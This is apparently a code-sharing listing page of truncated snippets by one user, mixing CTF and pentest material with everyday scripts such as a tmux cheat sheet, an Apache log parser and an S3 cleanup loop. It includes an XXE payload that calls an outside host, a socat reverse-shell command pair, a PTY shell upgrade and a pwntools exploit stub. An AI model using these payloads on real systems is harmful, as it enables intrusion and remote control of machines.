rhamaa

from pwn import *
from libformatstr import *

file = ELF("./32_new")
flag = 0x0804870b

r = remote("163.172.176.29",9035)

r.recvuntil("name?")

rhamaa

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

rhamaa

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

• hexdump
• objdump
• readelf
• xxd
• gcore

rhamaa

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

rhamaa

global _start

section .data
    aa  db '1234567890a',0
    len equ $-aa

section .text

rhamaa

# search.py
# Source https://ctftime.org/writeup/10851

def search(obj, max_depth):
    
    visited_clss = []
    visited_objs = []
    
    def visit(obj, path='obj', depth=0):
        yield path, obj

rhamaa

[[snippets]]
  description = "Python PTY Bash"
  command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
  output = "\"\""

[[snippets]]
  description = "[Reverse Shell] Socat Reverse Shell"
  command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim"
  output = "\"\""

rhamaa

# Source : https://mmas.github.io/read-apache-access-log-pandas
# https://mmas.github.io/analyze-apache-access-log-pandas

import re
import pandas as pd
from datetime import datetime
import pytz

from IPython import embed

rhamaa

# Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3

aws s3 ls BUCKETNAME/ | while read -r line;
       do
        createDate=`echo $line|awk {'print $1" "$2'}`
        createDate=`date -d"$createDate" +%s`
        olderThan=`date --date "7 days ago" +%s`
        if [[ $createDate -lt $olderThan ]]
           then
            fileName=`echo $line|awk {'print $4'}`

rhamaa

#!/usr/bin/env python3
import requests

client = requests.Session()
debug = False

def post(url, data, headers=None, proxy=False):
    if not headers:
        headers = {}
    headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'